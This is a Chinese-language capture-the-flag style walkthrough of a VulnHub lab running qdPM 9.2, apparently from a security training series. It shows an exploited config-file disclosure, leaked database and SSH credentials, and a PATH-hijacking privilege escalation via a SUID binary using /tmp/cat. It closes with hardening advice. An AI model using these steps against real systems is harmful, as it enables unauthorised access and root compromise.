简介
每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
一、网络枚举
直接发现IP地址192.168.3.208
扫描端口发现22、80和3306等端口开启。
二、web信息收集
使用的是qdPM 9.2系统,查看有没有相关漏洞:
https://www.exploit-db.com/exploits/50176
有个数据库信息泄露!
三、数据库枚举
1、获取数据库用户名密码
下载文件:
http://192.168.3.208/core/config/databases.yml
得到用户名和密码。
qdpmadmin
UcVQCMQk2STVeS6J
2、登录数据库
mysql -u qdpmadmin -h 192.168.3.208 -p
UcVQCMQk2STVeS6J
查看一下数据库里的信息,在staff数据库中发现了用户名和密码:
四、密码解密爆破
通过base64解密后:
把密码用base64解密一下,保存在pass.txt文件中,账号保存在user中进行爆破:
dexter 7ZwV4qtg42cmUXGX
travis DJceVy98W28Y7wLg
发现两组账号和密码!
五、IDA分析提权
ssh [email protected]
提示访问系统时存在弱点,可执行文件的内容是部分可见的,需要找出是否存在漏洞??
那就先看一下有权限的文件:
find / -perm -u=s 2>/dev/null
发现有个get_access文件比较可疑,查看一下:
导出到本地IDA分析:
IDA逆向分析:
发现会以root权限查看文件,可以通过伪造一个文件名为cat的可执行文件,文件内容为/bin/bash,并将文件路径设置为环境变量,这样执行get_access的时候,就会执行我们伪造的cat文件,从而使我们获得root权限:
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
echo $PATH
export PATH=/tmp:$PATH
/opt/get_access
成功获得root权限!
六、代码审计
这段代码是PHP语言编写的,并涉及qdPM项目:引入了引入check.php文件用于检查系统配置和环境的代码!
在check源码中:
if(!is_file('core/config/databases.yml'))
会检查是否存在core/config/databases.yml文件,如果不存在,则重定向到安装页面。通过前面攻击确实是存在的,防护建议:
1、移动到安全目录
将databases.yml文件移动到服务器不可公开访问的目录,确保它不能通过HTTP直接访问。
mv core/config/databases.yml /path/to/non-public/directory
2、禁用目录列表
确保Web服务器配置禁用目录列表功能,防止恶意用户浏览文件系统。
3、访问权限
对databases.yml文件设置适当的文件系统权限,确保只有授权用户或进程能够读取。
chmod 600 /path/to/non-public/directory/databases.yml
4、额外的访问控制
在Web服务器配置中,添加额外的访问控制,如使用.htaccess文件(对于Apache服务器)或其他方式,确保只有授权用户能够访问这些敏感文件。
示例Apache .htaccess文件:
<Files "databases.yml">
Require all denied
</Files>
这将禁止直接访问databases.yml文件。
通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!
扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!
欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。